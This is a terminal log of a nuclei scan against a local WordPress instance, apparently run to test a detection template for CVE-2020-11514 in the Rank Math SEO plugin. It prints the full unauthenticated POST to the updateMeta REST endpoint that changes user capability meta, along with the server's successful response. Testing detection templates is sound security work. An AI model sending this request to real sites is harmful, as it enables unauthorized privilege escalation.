nuclei -u http://localhost:8080 -t test.yaml -debug -vv

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10

		projectdiscovery.io

[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.8 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 114
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2020-11514] Rank Math SEO <= 1.0.40.2 - Privilege Escalation via Unprotected REST API Endpoint (@s4e-io) [critical]
[INF] [CVE-2020-11514] Dumped HTTP request for http://localhost:8080/wp-json/rankmath/v1/updateMeta

POST /wp-json/rankmath/v1/updateMeta HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 140
Content-Type: application/json
Accept-Encoding: gzip

{
  "objectID": "1254820732",
  "objectType": "32krIBfjvYhAOmwkM5wslhDkjKM",
  "meta": {
    "rank_math_capabilities": ["ungdl"]
  }
}
[DBG] [CVE-2020-11514] Dumped HTTP response http://localhost:8080/wp-json/rankmath/v1/updateMeta

HTTP/1.1 200 OK
Connection: close
Content-Length: 4
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Allow: POST
Content-Type: application/json; charset=UTF-8
Date: Mon, 15 Sep 2025 22:28:49 GMT
Link: <http://localhost:8080/wp-json/>; rel="https://api.w.org/"
Server: Apache/2.4.38 (Debian)
X-Content-Type-Options: nosniff
X-Powered-By: PHP/7.4.13
X-Robots-Tag: noindex

true